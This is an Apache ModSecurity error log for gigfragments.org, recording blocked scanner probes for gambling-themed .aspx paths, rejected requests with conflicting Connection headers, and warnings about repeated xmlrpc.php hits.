[Wed May 20 09:35:00.914552 2026] [:error] [pid 41279:tid 41348] [client 152.53.187.237:63348] [client 152.53.187.237] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/spg%20slot.aspx"] [unique_id "ag0PxLEFyfaehGZbt4xF2gAAAMw"]
[Wed May 20 09:35:02.881288 2026] [:error] [pid 41279:tid 41337] [client 152.53.187.237:63356] [client 152.53.187.237] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/spx%20slot.aspx"] [unique_id "ag0PxrEFyfaehGZbt4xF2wAAAME"]
[Wed May 20 09:35:04.890622 2026] [:error] [pid 41279:tid 41345] [client 152.53.187.237:63370] [client 152.53.187.237] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/super%20pg%201688.aspx"] [unique_id "ag0PyLEFyfaehGZbt4xF3wAAAMk"]
[Wed May 20 09:35:06.930300 2026] [:error] [pid 41279:tid 41343] [client 152.53.187.237:63374] [client 152.53.187.237] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/super%20slot.aspx"] [unique_id "ag0PyrEFyfaehGZbt4xF4gAAAMc"]
[Wed May 20 09:35:08.798219 2026] [:error] [pid 41278:tid 41311] [client 152.53.187.237:63382] [client 152.53.187.237] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20max%20wallet.aspx"] [unique_id "ag0PzPWiNKASEfiGdwZzRgAAAEI"]
[Wed May 20 09:35:10.865866 2026] [:error] [pid 41364:tid 41370] [client 152.53.187.237:42556] [client 152.53.187.237] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20vip.aspx"] [unique_id "ag0PzhKTmyvxtNXrN-hLpwAAAIQ"]
[Wed May 20 09:35:13.022773 2026] [:error] [pid 44059:tid 44067] [client 152.53.187.237:42564] [client 152.53.187.237] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20wallet%20net.aspx"] [unique_id "ag0P0RfFs-oSOOcyjyxp_wAAAQY"]
[Wed May 20 09:35:15.123004 2026] [:error] [pid 41278:tid 41332] [client 152.53.187.237:42574] [client 152.53.187.237] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20wallet.aspx"] [unique_id "ag0P0_WiNKASEfiGdwZzSgAAAFc"]
[Wed May 20 09:35:17.308953 2026] [:error] [pid 41277:tid 41300] [client 152.53.187.237:42582] [client 152.53.187.237] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot168%20wallet.aspx"] [unique_id "ag0P1bTTCltJmboB5ufGzAAAABI"]
[Wed May 20 09:35:19.336095 2026] [:error] [pid 41279:tid 41338] [client 152.53.187.237:42592] [client 152.53.187.237] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20168.aspx"] [unique_id "ag0P17EFyfaehGZbt4xF6QAAAMI"]
[Wed May 20 09:35:21.373292 2026] [:error] [pid 41279:tid 41344] [client 152.53.187.237:48014] [client 152.53.187.237] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20c4.aspx"] [unique_id "ag0P2bEFyfaehGZbt4xF6gAAAMg"]
[Wed May 20 09:35:23.506552 2026] [:error] [pid 44059:tid 44074] [client 152.53.187.237:48030] [client 152.53.187.237] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20sa.aspx"] [unique_id "ag0P2xfFs-oSOOcyjyxqBgAAAQ0"]
[Wed May 20 09:35:25.600549 2026] [:error] [pid 41278:tid 41327] [client 152.53.187.237:48040] [client 152.53.187.237] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20slot.aspx"] [unique_id "ag0P3fWiNKASEfiGdwZzTAAAAFI"]
[Wed May 20 09:35:27.739401 2026] [:error] [pid 44059:tid 44073] [client 152.53.187.237:48048] [client 152.53.187.237] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20vip.aspx"] [unique_id "ag0P3xfFs-oSOOcyjyxqCwAAAQw"]
[Wed May 20 09:35:30.052316 2026] [:error] [pid 44059:tid 44067] [client 152.53.187.237:48052] [client 152.53.187.237] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20wallet%20777.aspx"] [unique_id "ag0P4hfFs-oSOOcyjyxqDAAAAQY"]
[Wed May 20 09:35:32.233948 2026] [:error] [pid 41364:tid 41388] [client 152.53.187.237:65516] [client 152.53.187.237] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20wallet.aspx"] [unique_id "ag0P5BKTmyvxtNXrN-hLtgAAAJY"]
[Wed May 20 09:35:34.376610 2026] [:error] [pid 41278:tid 41330] [client 152.53.187.237:65518] [client 152.53.187.237] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20100.aspx"] [unique_id "ag0P5vWiNKASEfiGdwZzTwAAAFU"]
[Wed May 20 09:36:13.658455 2026] [:error] [pid 44059:tid 44084] [client 152.53.187.237:65526] [client 152.53.187.237] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xo%20slot.aspx"] [unique_id "ag0QDRfFs-oSOOcyjyxqMgAAARc"]
[Wed May 20 09:36:15.944010 2026] [:error] [pid 44059:tid 44070] [client 152.53.187.237:50734] [client 152.53.187.237] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/yakuza%20slot.aspx"] [unique_id "ag0QDxfFs-oSOOcyjyxqMwAAAQk"]
[Wed May 20 10:02:08.411808 2026] [:error] [pid 41278:tid 41316] [client 170.106.197.109:32862] [client 170.106.197.109] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "ag0WIPWiNKASEfiGdwZ1nAAAAEc"]
[Wed May 20 12:41:09.465918 2026] [:error] [pid 7664:tid 7681] [client 194.247.173.99:48718] [client 194.247.173.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20original.aspx"] [unique_id "ag07ZXZ8s7o3eiqT2ku-JgAAAU4"]
[Wed May 20 12:41:11.974069 2026] [:error] [pid 41278:tid 41325] [client 194.247.173.99:35492] [client 194.247.173.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20slot.aspx"] [unique_id "ag07Z_WiNKASEfiGdwaNqQAAAFA"]
[Wed May 20 12:41:14.289662 2026] [:error] [pid 41364:tid 41381] [client 194.247.173.99:35494] [client 194.247.173.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20thailand.aspx"] [unique_id "ag07ahKTmyvxtNXrN-h_hQAAAI8"]
[Wed May 20 12:41:16.599359 2026] [:error] [pid 7731:tid 7743] [client 194.247.173.99:35502] [client 194.247.173.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20auto.aspx"] [unique_id "ag07bH9qQlHXbkl2nEuEUgAAAYo"]
[Wed May 20 12:41:19.196690 2026] [:error] [pid 41364:tid 41388] [client 194.247.173.99:55586] [client 194.247.173.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20casino.aspx"] [unique_id "ag07bxKTmyvxtNXrN-h_owAAAJY"]
[Wed May 20 12:41:21.787053 2026] [:error] [pid 41278:tid 41318] [client 194.247.173.99:55590] [client 194.247.173.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20co.aspx"] [unique_id "ag07cfWiNKASEfiGdwaNsgAAAEk"]
[Wed May 20 12:41:23.963201 2026] [:error] [pid 41364:tid 41389] [client 194.247.173.99:55592] [client 194.247.173.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20slot.aspx"] [unique_id "ag07cxKTmyvxtNXrN-h_qwAAAJc"]
[Wed May 20 12:41:26.286748 2026] [:error] [pid 41279:tid 41353] [client 194.247.173.99:55598] [client 194.247.173.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20thailand.aspx"] [unique_id "ag07drEFyfaehGZbt4xoVAAAANE"]
[Wed May 20 12:41:29.170543 2026] [:error] [pid 41277:tid 41284] [client 194.247.173.99:36376] [client 194.247.173.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20wallet.aspx"] [unique_id "ag07ebTTCltJmboB5uffUQAAAAI"]
[Wed May 20 12:41:31.450381 2026] [:error] [pid 44059:tid 44072] [client 194.247.173.99:36384] [client 194.247.173.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/casino%20betflik.aspx"] [unique_id "ag07exfFs-oSOOcyjyyuJQAAAQs"]
[Wed May 20 12:41:33.942998 2026] [:error] [pid 41277:tid 41296] [client 194.247.173.99:36392] [client 194.247.173.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/casino%20betflix.aspx"] [unique_id "ag07fbTTCltJmboB5uffVAAAAA4"]
[Wed May 20 12:41:36.504986 2026] [:error] [pid 44059:tid 44078] [client 194.247.173.99:36396] [client 194.247.173.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/casino%20wallet.aspx"] [unique_id "ag07gBfFs-oSOOcyjyyuKwAAARE"]
[Wed May 20 12:41:38.608424 2026] [:error] [pid 44059:tid 44073] [client 194.247.173.99:33888] [client 194.247.173.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/demon%20slot%20game.aspx"] [unique_id "ag07ghfFs-oSOOcyjyyuNAAAAQw"]
[Wed May 20 12:41:40.783325 2026] [:error] [pid 44059:tid 44065] [client 194.247.173.99:33890] [client 194.247.173.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/dg%20casino.aspx"] [unique_id "ag07hBfFs-oSOOcyjyyuNQAAAQQ"]
[Wed May 20 12:41:43.007505 2026] [:error] [pid 7731:tid 7750] [client 194.247.173.99:33894] [client 194.247.173.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/g2g%20slot.aspx"] [unique_id "ag07h39qQlHXbkl2nEuEZgAAAZE"]
[Wed May 20 12:41:45.142980 2026] [:error] [pid 41277:tid 41283] [client 194.247.173.99:33902] [client 194.247.173.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/galaxy%20auto%20slot.aspx"] [unique_id "ag07ibTTCltJmboB5uffXQAAAAE"]
[Wed May 20 12:41:47.418095 2026] [:error] [pid 41277:tid 41287] [client 194.247.173.99:33910] [client 194.247.173.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/galaxy%20bet%20slot.aspx"] [unique_id "ag07i7TTCltJmboB5uffXgAAAAU"]
[Wed May 20 12:41:49.507588 2026] [:error] [pid 7731:tid 7738] [client 194.247.173.99:43676] [client 194.247.173.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/galaxy%20slot.aspx"] [unique_id "ag07jX9qQlHXbkl2nEuEawAAAYU"]
[Wed May 20 12:41:52.251199 2026] [:error] [pid 7731:tid 7749] [client 194.247.173.99:43680] [client 194.247.173.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/h25%20com.aspx"] [unique_id "ag07kH9qQlHXbkl2nEuEbwAAAZA"]
[Wed May 20 12:41:55.602493 2026] [:error] [pid 7731:tid 7744] [client 194.247.173.99:43690] [client 194.247.173.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/jili%20slot.aspx"] [unique_id "ag07k39qQlHXbkl2nEuEegAAAYs"]
[Wed May 20 12:41:57.851806 2026] [:error] [pid 7664:tid 7680] [client 194.247.173.99:43694] [client 194.247.173.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/joker%20slot.aspx"] [unique_id "ag07lXZ8s7o3eiqT2ku-KAAAAU0"]
[Wed May 20 12:42:00.237548 2026] [:error] [pid 41279:tid 41347] [client 194.247.173.99:42226] [client 194.247.173.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/joker%20vip.aspx"] [unique_id "ag07mLEFyfaehGZbt4xobQAAAMs"]
[Wed May 20 12:42:02.331339 2026] [:error] [pid 41278:tid 41315] [client 194.247.173.99:42238] [client 194.247.173.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/kingkong%20joker.aspx"] [unique_id "ag07mvWiNKASEfiGdwaNzwAAAEY"]
[Wed May 20 12:42:04.641198 2026] [:error] [pid 44059:tid 44067] [client 194.247.173.99:42246] [client 194.247.173.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lava%20slot.aspx"] [unique_id "ag07nBfFs-oSOOcyjyyuPgAAAQY"]
[Wed May 20 14:34:00.041040 2026] [:error] [pid 41364:tid 41387] [client 34.46.57.55:51260] [client 34.46.57.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/"] [unique_id "ag1V2BKTmyvxtNXrN-iUhwAAAJU"]
[Wed May 20 14:34:00.433845 2026] [:error] [pid 41279:tid 41342] [client 34.46.57.55:54441] [client 34.46.57.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/"] [unique_id "ag1V2LEFyfaehGZbt4xzJwAAAMY"]
[Wed May 20 14:34:00.817404 2026] [:error] [pid 41277:tid 41283] [client 34.46.57.55:53374] [client 34.46.57.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-includes/wlwmanifest.xml"] [unique_id "ag1V2LTTCltJmboB5ufmyAAAAAE"]
[Wed May 20 14:53:20.887149 2026] [:error] [pid 44059:tid 44075] [client 43.153.215.249:46320] [client 43.153.215.249] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "ag1aYBfFs-oSOOcyjyzWqgAAAQ4"]
[Wed May 20 18:01:53.451194 2026] [:error] [pid 44059:tid 44082] [client 43.135.130.202:42152] [client 43.135.130.202] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "ag2GkRfFs-oSOOcyjyz9EQAAARU"]
[Wed May 20 18:13:45.636937 2026] [:error] [pid 41277:tid 41284] [client 106.214.9.228:11676] [client 106.214.9.228] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 106.214.9.228, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "ag2JWbTTCltJmboB5uf0nwAAAAI"]
[Wed May 20 18:13:55.846953 2026] [:error] [pid 44059:tid 44080] [client 106.214.9.228:9357] [client 106.214.9.228] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 106.214.9.228, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "ag2JYxfFs-oSOOcyjywABQAAARM"]
[Wed May 20 18:14:06.917897 2026] [:error] [pid 7731:tid 7744] [client 106.214.9.228:10222] [client 106.214.9.228] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 106.214.9.228, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "ag2Jbn9qQlHXbkl2nEveWAAAAYs"]
[Wed May 20 18:14:17.335605 2026] [:error] [pid 7664:tid 7687] [client 106.214.9.228:2820] [client 106.214.9.228] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 106.214.9.228, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "ag2JeXZ8s7o3eiqT2kvqpgAAAVQ"]
[Wed May 20 18:14:27.636087 2026] [:error] [pid 7664:tid 7680] [client 106.214.9.228:21891] [client 106.214.9.228] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 106.214.9.228, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "ag2Jg3Z8s7o3eiqT2kvqrAAAAU0"]
[Wed May 20 18:14:38.221056 2026] [:error] [pid 41278:tid 41319] [client 106.214.9.228:24873] [client 106.214.9.228] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 106.214.9.228, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "ag2JjvWiNKASEfiGdwaocgAAAEo"]
